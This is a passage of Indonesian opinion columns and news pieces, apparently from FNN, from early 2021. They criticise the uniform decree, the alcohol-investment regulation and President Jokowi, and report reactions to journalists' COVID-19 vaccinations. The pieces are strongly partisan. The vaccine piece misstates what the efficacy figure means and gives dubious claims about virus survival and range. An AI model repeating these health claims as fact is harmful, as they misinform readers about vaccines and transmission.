mabuk dipastikan dirinya hidup sukar dan membuat orang lain juga selalu sukar. Pemimpin yang mabuk tidak dapat membuat rakyatnya waras. Apalagi mensejahterakan rakyat. Pemimpin mabuk bisanya hanya mengadu domda rakyat. Atau jangan-jangan ini tanda bahwa memang pemimpin sudah mabuk (sakara) dan ajal sudah dekat (sekarat)? Wallaahu alam bishawab. Penulis adalah Pemerhati Politik dan Kebangsaan.

SKB Tiga Menteri, Kontroversi di Tengah Kontroversi

by Tamsil Linrung Jakarta FNN - Urusan seragam sekolah, Pemerintah bergerak cepat. Januari 2021 polemik aturan seragam Sekolah Menengah Kejuruan (SMK) Negeri 2 Padang membuncah di ruang publik. Tanggal 3 Februari 2021 Surat Keputusan Bersama (SKB) Tiga Menteri dikeluarkan. Tidak tanggung-tanggung. Tiga pejabat sekelas menteri bereaksi sekaligus. Bersama, mereka meneken SKB Tiga Menteri. Komunikasi lintas kementerian terlihat begitu padu dan super responsif pada persoalan ini. Super cepat dan tanggap. Saya membayangkan, kalaulah spirit dan energi yang sama dikonsolidasi menyelesaikan problem akut dunia pendidikan, niscaya wajah pendidikan kita bakal merona lebih cerah. Penyelesaian masalah klasik guru honorer, misalnya. Atau, yang kontemporer, perumusan metode baru bagi proses belajar-mengajar virtual yang terlihat tidak efektif dan menjemukan. Tapi, ini tentang seragam sekolah. Rupanya Pemerintah memandang SKB Tiga Menteri adalah solusi atas polemik seragam sekolah berkekhususan agama Islam. Sayangnya, solusi yang super cepat tersebut tak sanggup menenangkan geliat kontroversi. SKB Tiga Menteri justru menjadi sumber kontroversi baru. Adalah diktum ketiga pemantik kontroversi baru itu. Disebutkan, Pemerintah melarang Pemda dan sekolah untuk mewajibkan atau melarang seragam dengan kekhasan agama tertentu. Pemda dan sekolah yang tadinya mengatur, dipaksa merevisi aturan yang selama puluhan tahun diberlakukan dengan baik. Sekolah dan Pemda dikondisikan pasif, tidak boleh campur tangan urusan seragam berkarakter agamis. Bukan begitu. Soalnya bukan sebatas seragam atau perubahan aturan. Soalnya merembet kepada luka hati umat Islam untuk kesekian kali. Kita tahu, Islam mewajibkan muslimah mengenakan hijab, sehingga orang tua dan pendidik umumnya menanamkan kebiasaan ini sejak dini. Jenjang pendidikan dasar dan menengah adalah momentum efektif menanamkan pembiasaan itu. Tetapi, justru jenjang ini pula yang dikuliti. Melalui diktum kesatu, SKB Tiga Menteri malah memberikan hak kepada siswa untuk menentukan sendiri keinginannya, mengenakan seragam khas agama atau tidak. Peletakan tanggungjawab ini tentu rawan bagi usia anak dan remaja. Memang, ada saja kasus dimana sekolah diduga melarang atau memaksakan seragam berkarakter agama tertentu kepada siswa penganut agama lain. Di Bali misalnya, pada 2014 lalu mengemuka polemik larangan pemakaian jilbab di SMA Negeri 2 Denpasar. Komnas HAM RI ketika itu bahkan menilai pelarangan jilbab bukan hanya terjadi di Denpasar, tetapi hampir pada semua wilayah Bali. Pemerintahan SBY terlihat menangani persoalan itu dengan melokalisir kasus sebatas Pulau Dewata. Tidak merambah ke wilayah lain. Sejauh jejak digital yang bisa dipantau, yang aktif berbicara di publik dari pihak Pemerintah hanya Wakil Menteri Pendidikan dan Kebudayaan. Rezim berganti, dan cara penanganan pun berbeda. Kali ini Pemerintah dengan gagah menampilkan "kekuatan" tiga menteri. Lalu memberlakukan aturan secara nasional. Masih lekat di ingatan kita, Presiden Jokowi dalam beberapa kesempatan mengatakan, “tidak ada visi dan misi menteri, yang ada hanya visi dan misi presiden”. SKB Melawan Hukum Seragam sekolah mulai gencar diberlakukan pada masa pendudukan Jepang. Ketika telah membudaya, Ditjen Pendidikan Dasar dan Menengah Pemerintahan Presiden Soeharto lalu menetapkannya melalui surat keputusan pada 1982. Tujuannya, agar seragam sekolah menutupi kesenjangan sosial antar siswa. Jadi, seragam dibuat bukan tanpa tujuan. Punya nilai, punya maksud. Dalam Islam, yang memandang berpakaian sebagai bagian dari ibadah. Nilai ibadah ini tercapai hanya bila syarat-syarat berpakaian terpenuhi. Bagi Muslimah, jilbab diwajibkan demi marwah kaum hawa sendiri. Adalah kewajiban pendidik menanamkan nilai-nilai religius pada peserta didik sesuai keyakinan agamanya. Pasal 30 UU No 20 Tahun 2003 tentang Sistem Pendidikan Nasional menyebutkan, "sistem pendidikan nasional bertujuan untuk berkembangnya potensi peserta didik agar menjadi manusia yang beriman dan bertakwa kepada Tuhan Yang Maha Esa, berakhlak mulia, sehat, berilmu, cakap, kreatif, mandiri, dan menjadi warga negara yang demokratis serta bertanggung jawab." Pasal tersebut adalah refleksi amanat konstitusi tertinggi, UUD 1945. Pasal 31 ayat (3) UUD menegaskan, “Pemerintah mengusahakan dan menyelenggarakan satuan sistem pendidikan nasional, yang meningkatkan keimanan dan ketakwaan serta akhlak mulia dalam rangka mencerdaskan kehidupan bangsa, yang diatur dengan undang-undang”. Dari pertalian itu, secara hierarki, ada potensi SKB Tiga Menteri justru melawan hukum di atasnya. Pertama, SKB Tiga Menteri membatasi kewajiban pendidik dalam menerapkan praktik keagamaan secara utuh, yang sebenarnya dilakukan pihak sekolah demi memenuhi amanat UU. Mengenakan seragam jilbab adalah salah satu praktik keagamaan dasar yang wajib ditekankan pendidik kepada peserta didik perempuan dalam praktik kehidupan sehari-hari. Kedua, larangan SKB Tiga Menteri kepada Pemda untuk mengatur seragam dengan kekhasan agama berpotensi melawan semangat UU Otonomi Daerah. Sebagian aturan Pemda lahir dengan menyesuaikan sikap terhadap budaya dan kearifan lokal. Kearifan lokal seharusnya menjadi isu yang dipertimbangkan SKB Tiga Menteri. Selain itu, Penyelesaian polemik aturan seragam berkekhususan agama di Sumbar sebaiknya dilokalisir. Generalisasi SKB Tiga Menteri menghadapkan kita pada polemik baru. Gaduh yang dimunculkan menjadi kian bising ketika Menteri Pendidikan dan Kebudayaana Nabiel Makarim menvonis kewajiban pemakaian jilbab di SMK Negeri 2 Padang sebagai bentuk intoleransi. Padahal, SMK Negeri 2 Padang punya dalil. Mereka membuat aturan berdasarkan peraturan Walikota Padang yang telah diberlakukan 16 tahun lampau. Ya, 16 tahun lampau. Dan entah berapa pejabat yang silih berganti menduduki kursi Menteri Dalam Negeri, namun tidak terlihat mengkritisi peraturan dimaksud, hingga kasus ini meledak. Dicabut atau Direvisi Dalam menata dunia pendidikan, visi dan misi Presiden Jokowi yang terefleksi melalui SKB Tiga Menteri terlihat lemah, kontroversial, keluar konteks, dan berpotensi mengundang gaduh yang berkepanjangan. Maka, selaku Anggota Komite III DPD RI yang membidangi pendidikan, saya mendesak Menteri Pendidikan dan Kebudayaan, Menteri Dalam Negeri, dan Menteri Agama kiranya segera mencabut atau merevisi SKB Tiga Menteri tersebut SKB Tiga Menteri tidak murni sebuah keputusan (beschiking). SKB Tiga Menteri juga memuat ketentuan yang mengatur (regeling). Bila Pemerintah berkeras meneruskan aturan SKB Tiga Menteri, maka langkah konstitusional judicial review ke Mahkamah Agung (MA) tentu memungkinkan. Dalam konteks itu, saya mendukung pihak-pihak yang merasa dirugikan dan punya legal standing kuat berjuang di MA. Saya sendiri juga mengelola institusi pendidikan Insan Cendekia Madani, di Tangerang Selatan, Banten. Namun, sekolah ini adalah sekolah Islam swasta yang berada di luar jangkauan SKB Tiga Menteri. Apapun alasannya, pemaksaan seragam berkekhususan agama pada siswa berbeda agama memang tidak dapat dibenarkan. Namun, itu tidak berarti semua aturan yang mewajibkan siswa penganut agama tertentu untuk berseragam sesuai dengan keyakinan agamanya harus diamputasi. Bila ingin membasmi hama tikus di lumbung padi, tentu tidak bijak dengan membakar lumbungnya. Penulis adalah Senator Komite III DPD RI.

Teraktual, Satu Jurnalis Terkena KIPI Vaksin Corona!

by Mochamad Toha Surabaya, FNN - Fakta: News Anchor JawaposTV, Dean Cahyani, dilarikan ke Instalasi Gawat Darurat (IGD) Rumah Sakit Umum Daerah (RSUD) Kebayoran Lama, Jakarta Selatan, usai menjalani vaksin Covid-19 di Gelora Bung Karno (GBK), Kamis (25/2/2921) siang. Kepada awak media, Dean mengatakan, setelah menjalani vaksin, dirinya merasa mual dan pusing dan diikuti dengan pembengkakan pada kedua mata dan bibirnya. “Jadi tadi setelah vaksin, saya langsung ke kantor buat siaran. Pas mau mulai, saya langsung merasa mual dan pusing. Semua pada panik, karena mata dan bibir saya mengalami bengkak, kemungkinan alergi,” kata Dean di Ruang IGD, Kamis (25/2/2921) malam. Tak hanya sampai di situ, Dean juga mengakui efek lain yang dialaminya adalah gangguan penglihatan. Dia tak bisa melihat karena pembengkakan di kedua matanya itu. “Saya gak bisa melihat, kalau mau kirim pesan harus dekatin handpone,” ungkapnya. Sebelumnya, Dean dibawa ke Puskesmas Kebayoran Lama agar mendapatkan penanganan darurat. Tetapi, sampai di Puskesmas Kebayoran Lama, pihak Puskesmas kembali merujuk Dean ke RSUD Kebayoran Lama. Saat itu, pihak RSUD Kebayoran Lama kabarnya akan merujuk Dean ke RS lainnya, karena tidak ada ruang inap bagi pasien yang harus menjalani rawat inap. Kabarnya, Dean bakal ditujuk kembali ke RS Farmawati. Dihubungi terpisah, Ketua Komnas Kejadian Ikutan Pasca Imunisasi (KIPI) Profesor Hindra Irawan Satari menjelaskan efek samping yang dialami Dean kemungkinan diakibatkan oleh alergi. “Kayaknya alergi, bila diobati biasanya sembuh, mungkin, dia alergi terhadap komponen vaksin yang belum dia/kita ketahui,” kata Prof Hindra, seperti dilansir Suara.com, Jumat (26/2/2021). Prof Hindria menyarankan calon penerima vaksin harus paham betul kondisi kesehatannya sebelum divaksin, jika mempunyai riwayat penyakit atau alergi harus konsultasi ke dokter terkait untuk diberi surat keterangan layak vaksin oleh dokter. “Bila ada komorbid, sebaiknya pastikan dalam keadaan terkendali,” tegas Prof Hindria. Pihak Kementerian Kesehatan (Kemenkes) sendiri mengakui adanya sejumlah jurnalis yang dilarikan ke RS pasca mendapatkan vaksin Covid-19 di Hall A Basket Gelora Bung Karno (GBK) Jakarta, Kamis (25/2/2021). Melansir Lampungpro.co, Juru bicara Kemenkes dr. Siti Nadia Tarmidzi, yang dikonformasi awak media, mengatakan puluhan wartawan terkapar setelah divaksin. Ada yang pusing dan mual-mual hingga pingsan. Kemenkes kemudian membawa mereka ke RS untuk observasi. Dari hasil observasi tersebut diketahui, banyak wartawan begadang dan tidur di atas pukul 22.00. Hal ini sangat berpengaruh ke metabolisme tubuh yang mau divaksin. Ini juga berpengaruh ke tensi dan kadar darah seseorang. Bahkan ada yang ditensi sampai 160 atau 170. “Jadi, buat jurnalis yang dua pekan lagi terima suntikan kedua, atau yang akan divaksin pertama dimohon tidak begadang sehari sebelum vaksinasi,” kata Siti Nadia. Selain itu, banyak wartawan yang tidak sarapan sebelum divaksin. Keinginan cepat datang dan selesai membuat banyak wartawan tidak sarapan dengan baik. Jenis sarapannya juga tidak bergizi dan ini juga sangat berpengaruh ke kondisi tubuh, terutama rendahnya gula darah. Kebanyakan dari mereka yang terkapar ketika diinfus di rumah sakit beberapa jam kemudian langsung pulih. Jadi, Siti Nadia memohon untuk tidak lupa sarapan pagi saat mau divaksin. Selain itu, banyak wartawan ketakutan dan cemas saat antri. Hal ini juga bisa memperparah kondisi tubuh seseorang. Dengan beban psikologis yang berat membuat sistem kekebalan tubuh menurun. Sementara kandungan vaksin Sinovac mengharuskan siap dari sisi tersebut. Hal ini selaras dengan data KIPI bahwa 64% peserta vaksinasi stres dan membuat mereka merasakan efek samping. Kemenkes sebelumnya telah memastikan penggiliran jumlah peserta yang mencapai 5.512 orang insan pers. Para peserta vaksinasi terdiri atas 512 orang yang sejak awal dijadwalkan divaksin dalam rangka Hari Pers Nasional (HPN) 2021. Lalu, sebanyak 5.000 insan pers yang dikoordinasikan oleh Dewan Pers dari 10 organisasi konstituen Dewan Pers dan Forum Pemred. Organisasi tersebut antara lain Persatuan Wartawan Indonesia (PWI), Aliansi Jurnalis Independen (AJI), Ikatan Jurnalis Televisi Indonesia (IJTI), Serikat Penerbit Pers (SPS), Persatuan Radio Siaran Swasta Nasional Indonesia (PRSSNI). Kemudian Asosiasi Televisi Lokal Indonesia (ATVLI), Asosiasi Televisi Swasta Indonesia (ATVSI), Pewarta Foto Indonesia (PFI), Asosiasi Media Siber Indonesia (AMSI), dan Serikat Media Siber Indonesia (SMSI). Selama tiga hari berturut-turut, wartawan yang mengikuti vaksinasi Covid-19 dikelompokkan ke dalam tiga sesi. Sesi pertama dimulai pukul 08.00-10.00, sesi kedua pukul 10.00-12.00, dan sesi ketiga dimulai pukul 13.00-16.00 WIB. Terpapar Corona Meski sudah divaksin Covid-19 ternyata belum jaminan kebal dan tidak terpapar virus Covid-19. Kalau begitu apa gunanya vaksin Covid-19? Ini dialami 10 nakes Puskesmas Jombang, Ciputat, Tangerang Selatan (Tangsel). Ketua Ikatan Dokter Indonesia (IDI) Banten, Budi Suhendar, memberikan penjelasan terkait 10 nakes Puskesmas Jombang itu. Dia merujuk pernyataan Indonesian Technical Advisory Group on Immunization (ITAGI) terkait tingkat keampuhan vaksin Covid-19. “Seseorang tidak langsung (bisa) kebal 100% setelah disuntik vaksin Covid-19. Sebab, masih memerlukan waktu untuk meningkatkan antibodi di dalam tubuh,” kata Budi melalui aplikasi pesan singkat, seperti dilansir TribunJakarta.com, Rabu (24 Februari 2021 15:44). Budi menegaskan, vaksin bukan jaminan kebal terinfeksi virus ganas itu. Upaya pencegahan dengan penerapan protokol kesehatan mutlak dilakukan. “Sehingga dapat saja seseorang yang sudah divaksin terinfeksi virus Covid-19,” jelasnya. Yang artinya, walaupun sudah divaksin kita tetap harus melaksanakan upaya pencegahan selama bekerja dan saat berada di mana saja. Selain itu, proses vaksinasi belum menyeluruh sehingga belum terbentuk kekebalan komunal atau herd immunity. “Walaupun sudah divaksin kedua, tetap saja prokes harus dilakukan. Karena secara komunal kekebalan kelompok juga belum terbentuk,” katanya. Diberitakan sebelumnya, total ada 15 nakes dan tujuh siswa magang yang terpapar Covid-19 di Puskesmas Jombang. Dari 15 nakes, 10 diantaranya sudah menjalani vaksinasi Covid-19. Kasus serupa juga dialami Wakil Bupati Nganjuk, Marhaen Djumadi, positif Covid-19. Saat dinyatakan positif, ia ternyata sudah 2 kali divaksin bersama Forkopimda lainnya. Marhaen membenarkan, dirinya positif Covid-19. Kabar itu diterima Marhaen dari RSUD Nganjuk pada Kamis (18/2/2021). “Benar kabar dari RSUD Nganjuk Kamis kemarin,” jelasnya. Menurut analisa Presiden Ahlina Institute for Anvancing Health Literacy on Nutrition and Neuroscience Indonesia dr. Tifauzia Tyassuma, nakes sebagai priorotas mendapat vaksinasi Sinovac pertama seluruh Indonesia sebanyak 1,4 juta. Setelah 14 hari vaksinasi kedua dari jumlah itu hanya sekitar 800 ribu lebih yang melakukan vaksinasi kembali. Artinya ada sekitar 600 ribu tidak mendapat kekebalan tubuh sesuai yang diharapkan. Namun, belum ada penelitian mengapa nakes tidak vaksin kembali lagi: apakah mereka ragu terhadap kemampuan vaksin Sinovac yang hanya efektifitasnya 50,4 %, yang artinya dari 100 yang divaksin hanya 50 orang kemungkinan kebal terhadap virus; Atau nakesnya puas cukup sekali vaksin karena sudah mendapat sertifikat dan dicatat sebagai orang yang sudah divaksin. Yang menarik juga dari analisa Dokter Tifa, Covid-19 meski daya infeksi menyebar sangat cepat karena inangnya manusia, bukan lagi kelelawar yang awalnya sangat mematikan, yakni 9,7% di seluruh dunia, sekarang tinggal 3% saja. Sementara Case Fatalitas Rate (CSR) di seluruh dunia sudah tinggal 2,3%, tetapi Indonesia masih 3%. Makanya, prokes 3 M itu tetap harus ketat dilaksanakan, karena ilmuwan seluruh dunia mengakui cara ini bisa menahan laju penularan Covid-19. Sebab vaksin baru mulai dan belum bisa dijadikan patokan. Pada 2021 meskipun disarankan Dokter Tifa untuk kembali bekerja-bekerja-bekerja, tetapi tetap jaga ketat 3 M. Disarankan pakai masker medis dua lapis jika ingin ketemu orang. Apalagi, Covid-19 yang semula dibantah bukan airbone itu, sekarangg diakui WHO, bahkan mutasinya saat ini bisa hidup 8-20 jam dengan jangkauan 8 meter. Penulis adalah wartawan senior FNN.co.id.

Perpres Produksi Miras, Presiden Jokowi Mikir Apa Tidak Ya?

by Asyari Usman Medan, FNN - Baru sempat menyimak Perpres 10/2021 tentang legalisasi industri minuman keras (minuman beralkohol). Diteken oleh Presiden Jokowi pada 2 Februari 2021. Perpres ini adalah turunan dari UU No. 11/2020 tentang Cilaka (Cipta Lapangan Kerja). Salah satu pertanyaan adalah: apa yang ada dalam benak Presiden Jokowi ketika menandatangani Perpres Miras? Apakah Jokowi sudah mengkalkulasikan buruk-baiknya produksi miras di negeri ini yang bakal bisa dilakukan oleh usaha besar dan kecil? Apakah sudah beliau pikirkan pula dampak dari eceran miras yang bebas dilakukan meskipun hanya di Bali, NTT, Sulut dan Papua? Perpres 10/2021 memang membatasi produksi di keempat provinsi itu saja. Tetapi, apakah bisa dikontrol distribusi dan penjualannya? Pastilah akan dengan mudah diangkut ke luar dari empat provinsi itu. Presiden Jokowi mikir apa tidak ya? Indonesia ini sudah babak belur oleh peredaran Narkoba, terutama sabu-sabu. Lebih 4 juta orang rusak karena Narkoba. Sekarang dilegalkan pula produksi miras. Apa tidak semakin hancur bangsa dan negara ini? Kecenderungan penggunaan Narkoba kini sangat mengerikan. Semakin banyak anak-anak usia SD-SMP yang sudah ketagihan sabu-sabu. Kalau usia SMA, sudah tak terkatakan lagi. Jika tak mampu membeli, mereka pakai “lem kambing”. Atau benda-benda lain yang bisa membawa mereka ‘terbang’. Ditambah dengan miras, kira-kira bagaimana nanti kondisi generasi muda bangsa ini, Pak Jokowi? Anda pikirkan atau tidak, Perpres Miras yang Anda teken itu? Anda pusing mencari uang gara-gara utang yang begitu banyak. Sekarang, generasi muda bangsa ini yang Anda korbankan untuk medapatkan uang miras yang tak seberapa itu. Apakah Anda, Pak Jokowi, tidak tahu begitu banyak pengaruh buruk yang sudah sejak lama merusak generasi muda? Apakah Anda tidak tahu dekadensi moral yang meluas gara-gara pornografi, pornoaksi? Batalkanlah Perpres Miras itu, Pak. Jangan sampai produksi dan distrubisi miras menjadi murah-meriah dan dikerjakan oleh semua orang, usaha besar dan kecil. Ngeri itu Pak. Anda bukannya berusaha mengurangi masalah yang mendera bangsa dan negara ini, tapi malah memperburuk situasi. Jangan diikutkan para pembisik jahat itu, Pak Jokowi. Kata Prof Salim Said, Anda itu orang baik, Pak. Kita buktikan penilaian yang dahsyat ini. Jangan biarkan orang-orang di sekeliling Anda. Mereka menodorong Anda masuk jurang agar bangsa ini pun ikut juga masuk jurang.[] Penulis adalah Wartawan Senior FNN.co.id.

PERPRES Miras Sumber Dari Segala Kejahatan

PEMERINTAH Jokowi baru saja menerbitkan Peraturan Presiden (Perpres) No. 10 Tahun 2021 soal Bidang Usaha Penanaman Modal. Perpres ini lazim disebut sebagai Perpres legalisasi minuman keras (miras). Dalam lampiran III terdapat penjelasan mengenai 4 klasifikasi miras yang masuk ke dalam daftar bidang usaha. Pertama yaitu, industri minuman keras mengandung alkohol. Kedua, miras mengandung alkohol berbahan dasar anggur. Ketiga, perdagangan eceran minuman keras dan beralkohol. Keempat, perdagangan eceran kaki lima minuman tersebut. Berdasarkan ketentuan yang ditetapkan BKPM atau Badan Koordinasi Penanaman Modal, atas usulan gubernur, investasi pada bisnis tersebut hanya berlaku di beberapa wilayah saja. Di antaranya adalah Provinsi Bali, Nusa Tenggara Timur, kemudian Papua serta Provinsi Sulawesi Utara. Berbarengan dengan terbitnya Perpres Miras tersebut, di Cengkareng seorang polisi menembak secara membabi buta seorang anggota TNI dan dua warga sipil hingga tewas. Tak berapa lama beredar video seorang anak yang sedang mabuk setelah menenggak miras, dan banyak cerita tragis lainnya yang dipicu oleh miras tersebut. Ada suami membunuh istri karena dampak miras, karena miras ada oknum aparat berani merampok, membegal sampai memperkosa. Karena miras banyak kecelakaan lalu lintas terjadi, klimaksnya karena miras banyak yang over dosis dan hilang kesadarannya. Pendek kata, miras pemicu segala jenis kejahatan. Maka wajar kalau Gubernur Papua, anggota dewan dan rakyat Papua menolak mentah-mentah Perpres tersebut. Bahkan mereka mengancam akan membakar toko yang menjual miras. Majelis Ulama Indonesia (MUI) dan PP Muhammadiyah menyesalkan PP Miras tersebut karena tahu persis dampaknya bagi generasi muda ke depan. Sayangnya Wapres KH Ma’ruf Amin yang seharusnya mencegah terbitnya Perpres tersebut malah seolah diam seribu bahasa. Partai Kebangkitan Bangsa (PKB) malah mengatakan Perpres miras sesuai dengan kearifan lokal. Lantas bagaimana pandangan Islam? Seperti pada umumnya agama-agama samawi seperti Kristen, Katholik, Yahudi, dan bahkan agama Buddha, Hindu, Islam menolak mentah-mentah miras, dalam bahasa agama disebut khamr atau sesuati yang memabukkan. Islam menyebut khamr sebagai sumber segala kerusakan dan kejahatan, sehingga Islam melarang mendekatinya, apalagi sampai mengkonsumsi. Bahkan Islam secara bertahap melarang khamr, mulai dari mengatakan lebih banyak mudharatnya ketimbang manfaatnya, dilarang sholat ketika di bawah pengaruh khamr, hingga vonis bahwa khamr sebagai barang najis dan merupakan perbuatan syetan. Mengapa disebut perbuatan syetan, karena khamr sebagai induk segala keburukan dan biang segala kerusakan. Dari Utsman bin Affan radhiyallahu 'anhu, beliau berata, "Jauhilah khamr (minuman keras, madat, narkoba dan sejenisnya), karena khamr itu merupakan induk segala keburukan (biang kerusakan)." Al-Qur'an memberi perhatian khusus terhadap perkara yang satu ini. Allah Ta'ala berfirman: "Wahai orang-orang yang beriman! Sesungguhnya khamr, berjudi, (berkurban untuk) berhala, dan mengundi nasib dengan anak panah, adalah perbuatan keji dan termasuk perbuatan syetan. Maka jauhilah (perbuatan-perbuatan) itu agar kamu beruntung." (QS Al-Maidah Ayat 90). Imam Abu Laits As Samarqandi (wafat 373 H) dalam Kitab Tanbihul Ghafilin menceritakan kisah ahli ibadah yang tergelincir dalam maksiat, Kisah ini dinukil dari perkataan Utsman bin Affan radhiyallahu 'anhu. Beliau berkata: "Hati-hatilah kamu dari khamr, sebab ia induk dari dosa-dosa yang keji. Sesungguhnya dahulu ada seorang abid (ahli ibadah) yang biasa pergi masjid, tiba-tiba bertemu dengan seorang perempuan pelacur, maka ia dipanggil oleh pelayannya dan dimasukkan ke dalam rumahnya, lalu pintunya ditutup. Sedang di sisi wanita itu ada segelas khamr dan seorang anak kecil. Maka berkatalah wanita itu: "Engkau tidak boleh keluar sehingga minum khamr atau berzina padaku atau membunuh anak kecil ini. Jika tidak saya akan menjerit dan berkata: 'Ada orang masuk ke rumahku." Ahli ibadah itupun berkata: "Zina saya tidak mau, membunuh juga tidak." Lalu ia memilih minum khamr. Setelah ia minum dan akhirnya ia pun mabuk. Setelah mabuk hilanglah akal sehatnya dan akhirnya berzina dengan pelacur itu dan juga membunuh bayi itu." Na'udzubillahi min dzalik. Sayyidina Utsman berkata: "Karena itu tinggalkanlah khamar kerana ia adalah induk dari dosa-dosa. Dan sesungguhnya tidak dapat berkumpul iman dan khamr di dalam dada seseorang melainkan harus keluar salah satu. Yakni seorang jika telah mabuk maka akan keluar dari lidahnya kalimat-kalimat kufur lalu menjadi kebiasaan sehingga dibawa mati sehingga menyebabkan ia masuk neraka." Dari Ibnu Umar radhiyallahu 'anhuma, Rasulullah saw juga bersabda: "Allah melaknat khamr, orang yang meminumnya, orang yang menuangkannya, penjualnya, pembelinya, orang yang memerasnya, orang yang mengambil hasil perasannya, orang yang mengantarnya dan orang yang meminta diantarkan." (HR. Abu Daud) Ulama Tabi'in Imam Hasan Al-Bashri berkata: "Seorang hamba jika minum khamr maka hitam hatinya, jika kedua kali lepas tangan Malaikat yang menjaganya, bila ketiga kali maka lepaslah tangan daripadanya Malaikat Maut, jika keempat kali maka putuslah hubungannya dengan Nabi Muhammad saw. Bila kelima kali putus hubungannya dengan sahabat Nabi, bila keenam putus hubungan dengan Malaikat Jibril, bila ketujuh putus hubungan dengan Israfil, bila kedelapan putus hubungan dengan Mikail, bila kesembilan putus hubungan dengan langit. Bila meminumnya kesepuluh maka putus hubungan dengan bumi, bila kesebelas maka lepas tangan darinya ikan di laut dan jika keduabelas maka putus dengan matahari dan bulan. Jika ketiga belas putus dengan bintang-bintang, jika keempatbelas putus hubungan dengan semua makhluk, bila kelimabelas tertutup baginya pintu surga. Dan bila keenambelas terbuka pintu-pintu neraka, dan bila ketujuh belas putus dengan Alkursi dan bila kesembilan belas putus dengan 'Arsy. Dan bila minum kedua puluh putuslah ia dari rahmat Allah Ta'ala". Dari Abdullah bin Umar, Rasulullah saw berkata, “Barang siapa yang meminum khamr, maka Allah tidak akan menerima shalatnya selama 40 hari. Jika dia bertaubat maka Allah akan menerima taubatnya. Akan tetapi, jika dia kembali melakukannya, maka Allah tidak akan menerima salatnya selama 40 hari. Jika dia bertaubat, maka Allah akan menerima taubatnya. Namun jika dia kembali lagi melakukannya, maka Allah tidak akan menerima lagi shalatnya selama 40 hari. Bila dia bertaubat maka Allah akan menerima taubatnya. Apabila dia kembali melakukannya pada kali keempat, maka Allah tidak menerima salatnya selama 40 hari. Dan setelah itu, jika dia bertaubat, maka Allah tidak akan menerima taubatnya, dan dia akan diberikan minum dari sungai Khabal." Kemudian ditanyakan, "Wahai Abu Abdurrahman (Ibnu Umar), apakah itu sungai Al-Khabal?" beliau menjawab, "Yaitu sungai dari nanah penghuni neraka". (Sunan at-Turmudzi) Betapa dahsyatnya daya rusak khamr, sehingga menimbulkan banyak sekali kejahatan yang terjadi. Itu sebabnya, penerbitan Perpres No. 10 Tahun 2021 sama saja melegalkan minuman keras. Sama artinya melegalkan lahirnya aneka kejahatan di negeri ini. Jangan lantaran ingin dapat investasi, mau mengorbankan nasib anak negeri. Semoga Presiden Jokowi mencabut kembali Perpres yang bakal menjadi sumber dari segala sumber kejahatan itu. Aamiin ya Robb!

Jokowi Bisa Jatuh Digoyang Maumere

by M. Rizal Fadillah Bandung FNN - Presiden Jokowi digoyang ke kiri dan ke kanan gara gara kerumunan di Maumere Nusa Tenggara Timur (NTT). Peristiwa ini lagi ramai dibicarakan masyarakat. Bahkan ada beberapa elemen masyarakat yang melaporkan Presiden Jokowi ke Badan reserse Kriminal (Bareskrim) Mabes Polri. Merujuk pada kasus kerumunan Habib Rizieq Shihab (HRS) saat kepulangan dari pengasingan di Arab Saudi , maka Presiden Jokowi secara hukum layak diproses berdasarkan pelanggaran protokol kesehatan (Prokes) yang diatur dalam UU Nomor 6 tahun 2018 tentang Kekarantinaan Kesehatan. Dari sisi hukum, menjadi taruhan untuk Jokowi dan HRS yang sama sama menjadi pesakitan, atau keduanya lepas dari ancaman pelanggaran UU Kekarantinaan Kesehatan. Untuk lepas, maka tentu saja yang dipakai alasan bahwa kerumunan bukan pelanggaran pidana. Tetapi hanya pelanggaran administrasi, sebagaimana HRS terkena denda Rp. 50 juta oleh Pemprov DKI Jakarta. Hukum yang diperalat politik mulai menjadi "senjata makan tuan". Maksud hati menghabisi HRS dengan UU Kekarantinaan Kesehatan. Eh, sekarang giliran Jokowi yang malah terancam pelanggaran yang sama. Serupa dengan UU ITE yang dimaksudkan untuk menghabisi lawan-lawan politik, kini justru para buzzer rupiah peliharaan Istana yang jor-joran melanggar UU ini. Terpaksa muncul gagasan untuk merevisi UU ITE sebagai proteksi dan antisipasi kepada para buzzer rupiah yang selama dipelihara oleh Istana. Kapolri juga diperintahkan untuk membuat pedomana menerima laporan polisis yang tidak asal-asalan di Polres dan Polda di seluruh Indonesia. Intinya, yang boleh melapor hanya pribadi yang merasa dirugikan. Terus bagaimana dengan yang sudah terlanjur diatahan di berbagai penjara kepolisian selama ini? Goyang Maumere, lagu dan tari yang dapat membuat kejatuhan. Jokowi sedang bergoyang sederhana, tetapi berdampak secara sistemik. Mulai kerumunan lalu proses pidana dan Presiden pun dihukum. Penghukuman ini menjadi alasan untuk memberhentikan berdasarkan Pasal 7 A UUD 1945. Sekurang-kurangnya dikategorikan sebagai perbuatan yang tercela. Menyadari bahaya ini, maka Kepolisian mulai pasang badan. Misalnya, dengan tidak mau menerima pelaporan pengaduan. Alasan hanya menerima sebagai pengaduan masyarakat (dumas) sangat tidak relevan. Kenyataan ini telah menjadi tontonan menarik dari lembaga penegak hukum yang tidak menghormati hukum. Presiden itu tidak kebal hukum dan dapat dipidana. Bukan hanya untuk kasus korupsi, tetapi juga pidana umum. Baik ringan ataupun berat. Kepolisian telah bertindak diskriminatif dengan menolak laporan masyarakat. Kenyataan ini tentu saja berbeda dengan HRS yang begitu sigap ditangani dan ditahan, sehingga menderita sesak nafas dalam tahanan. Meskipun demikian semua sikap tentu membawa akibat. Tindakan penolakan menjadi tambahan isu politik dan pembenar bahwa pemerintah itu memang otoriter, diskriminatif dan melanggar Hak Asasi Manusia )HAM). O... ele le le Putar ke kiri e Nona manis putarlah ke kiri Ke kiri, ke kiri, dan ke kiri, ke kiri, ke kiri ke kiri Manis e Sekarang kanan e Nona manis putarlah ke kanan Ke kanan, ke kanan, ke kanan, dan ke kanan ke kanan ke kanan Manis e Nah pak Jokowi berputar putar ke kiri dan ke kanan di Maumere akhirnya pusing sendiri. Keras melarang orang berputar eh dia sendiri yang berputar. Setelah melegalisasi minuman keras, maka jalannya menjadi limbung lalu akhirnya ambruk. Goyang Maumere, Ge Mu Fa Mi re. Orang laen kagak boleh kumpul same-same, eh dienye yang kumpul rame-rame. Rame rame jadi penguasa gile. Penulis dalah Pemerhati Politik dan Kebangsaan.

Covid-19 Sebagai Alat Politik Rezim Bungkam Oposisi?

